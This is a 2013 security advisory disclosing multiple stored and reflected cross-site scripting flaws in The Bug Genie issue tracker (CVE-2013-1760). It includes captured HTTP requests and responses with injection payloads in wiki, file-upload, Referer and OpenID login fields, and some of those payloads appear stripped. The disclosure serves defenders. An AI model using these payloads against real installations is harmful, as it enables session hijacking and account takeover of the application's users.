Trustwave SpiderLabs Security Advisory TWSL2013-002:
Multiple XSS Vulnerabilities in The Bug Genie
Published: 05/14/2013
Version: 1.1
Vendor: The Bug Genie (http://www.thebuggenie.com/)
Product: The Bug Genie
Version affected: 3.2.5 and prior
Product description:
The Bug Genie is an open source issue tracking and project management
application that features an integrated wiki, support for version control
systems, and an agile development workflow. The Bug Genie is written in PHP
and has support for MySQL or PostgreSQL database backends.
Finding 1: Multiple Cross-Site Scripting Vulnerabilities
*****Credit: James Espinosa of Trustwave SpiderLabs
CVE: CVE-2013-1760
CWE: CWE-79
Example(s):
1. Performing XSS via POST request on 'description' parameter in Wiki menu.
Requires user to be authenticated.
The optional 'description' parameter when creating articles under the wiki
menu is vulnerable to persistent cross-site scripting (XSS)
vulnerabilities.
#Request
POST /buggenie/thebuggenie/attach/link/to/wiki/0 HTTP/1.1
Host: A.B.C.D
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://A.B.C.D/buggenie/thebuggenie/wiki
Content-Length: 71
link_url=testing&description=%3Cscript%3Ealert('xss')%3B%3C%2Fscript%3E
#Response
HTTP/1.1 200 OK
Date: Thu, 03 Jan 2013 20:04:23 GMT
Server: Apache/2.2.22 (Ubuntu)
X-Powered-By: PHP/5.4.6-1ubuntu1.1
Content-Length: 743
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/json; charset=utf-8
{"message":"Link added!","content":"
\n\t\t\t\t\t\t
<--SNIP-->
3. Performing XSS via POST request in file attachments. Requires user to be authenticated.
If file attachments are enabled, persistent cross-site scripting
vulnerabilities exist within the embedded content of the file if it is
viewed by the user. To replicate the issue, a text file called 'xss.txt'
was created and javascript code such as "" was
added.
#Request
POST /thebuggenie/upload/to/issue/19 HTTP/1.1
Host: A.B.C.D
Accept-Encoding: gzip, deflate
Referer: http://A.B.C.D/thebuggenie/sampleproject1/issues/10
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------16412545751381963101235559763
Content-Length: 913
-----------------------------16412545751381963101235559763
Content-Disposition: form-data; name="MAX_FILE_SIZE"
2097152
-----------------------------16412545751381963101235559763
Content-Disposition: form-data; name="APC_UPLOAD_PROGRESS"
-----------------------------16412545751381963101235559763
Content-Disposition: form-data; name="uploader_file"; filename="xss.txt"
Content-Type: text/plain
-----------------------------16412545751381963101235559763
Content-Disposition: form-data; name="uploader_file_description"
-----------------------------16412545751381963101235559763
Content-Disposition: form-data; name="comment"
-----------------------------16412545751381963101235559763
Content-Disposition: form-data; name="submit"
Upload and attach
-----------------------------16412545751381963101235559763--
#Response
HTTP/1.1 302 Found
Date: Thu, 03 Jan 2013 22:15:27 GMT
Server: Apache/2.2.22 (Ubuntu)
X-Powered-By: PHP/5.4.6-1ubuntu1.2
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Location: /thebuggenie/sampleproject1/issues/10
Vary: Accept-Encoding
Content-Length: 0
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
#Request
GET /thebuggenie/files/show/1 HTTP/1.1
Host: A.B.C.D
Accept-Encoding: gzip, deflate
Referer: http://192.168.64.250/thebuggenie/sampleproject1/issues/10
Connection: keep-alive
#Response
HTTP/1.1 200 OK
Date: Thu, 03 Jan 2013 22:17:32 GMT
Server: Apache/2.2.22 (Ubuntu)
X-Powered-By: PHP/5.4.6-1ubuntu1.2
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Content-disposition: inline; filename="xss.txt"
Vary: Accept-Encoding
Content-Length: 27
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
4. Performing XSS via GET request in referer header during pre-authentication.
Multiple reflective cross-site scripting vulnerabilities exist in the
referer header of the 'account,' 'dashboard,' and '/get/partials/login'
page requests.
#Request
GET /bugs/thebuggenie/dashboard HTTP/1.1
Host: A.B.C.D
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://A.B.C.D/">08c99f07c55
#Response
<--SNIP-->
id="tbg3_referer" name="tbg3_referer" value="http://A.B.C.D/">08c99f07c55" />
<--SNIP-->
5. Performing XSS via POST request on 'openid_identifier' parameter in login
during preauth.
The 'openid_identifier' parameter in the login page of the application
contains reflective cross-site scripting vulnerabilities.
#Request
POST /bugs/thebuggenie/do/login HTTP/1.1
Host: A.B.C.D
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:17.0) Gecko/20100101 Firefox/17.0
Accept: text/javascript, text/html, application/xml, text/xml, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
X-Requested-With: XMLHttpRequest
X-Prototype-Version: 1.7
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://127.0.0.1/bugs/thebuggenie/
Content-Length: 49
Cookie: tbg3_password=%242a%2407%245c3846ca908da1d034a46O%2FrEDnK2k4Y8I3EEqIpMqoIC.GCHVN%2Fq; THEBUGGENIE=7kvml6kv5t5gptd5c217l0b7r0
Pragma: no-cache
Cache-Control: no-cache
openid_identifier=
#Response
HTTP/1.1 404 Not Found
Date: Tue, 08 Jan 2013 21:36:25 GMT
Server: Apache/2.2.22 (Ubuntu)
X-Powered-By: PHP/5.3.10-1ubuntu3.4
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: tbg3_password=%242a%2407%245c3846ca908da1d034a46O%2FrEDnK2k4Y8I3EEqIpMqoIC.GCHVN%2Fq; expires=Fri, 18-Jan-2013 21:36:25 GMT; path=/bugs/thebuggenie/
Set-Cookie: tbg3_username=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/bugs/thebuggenie/
Last-Modified: Tue, 08 Jan 2013 21:36:25 GMT
x-tbg-debugid:
Content-Length: 71
Content-Type: application/json; charset=utf-8
{"error":"Could not connect to http:\/\/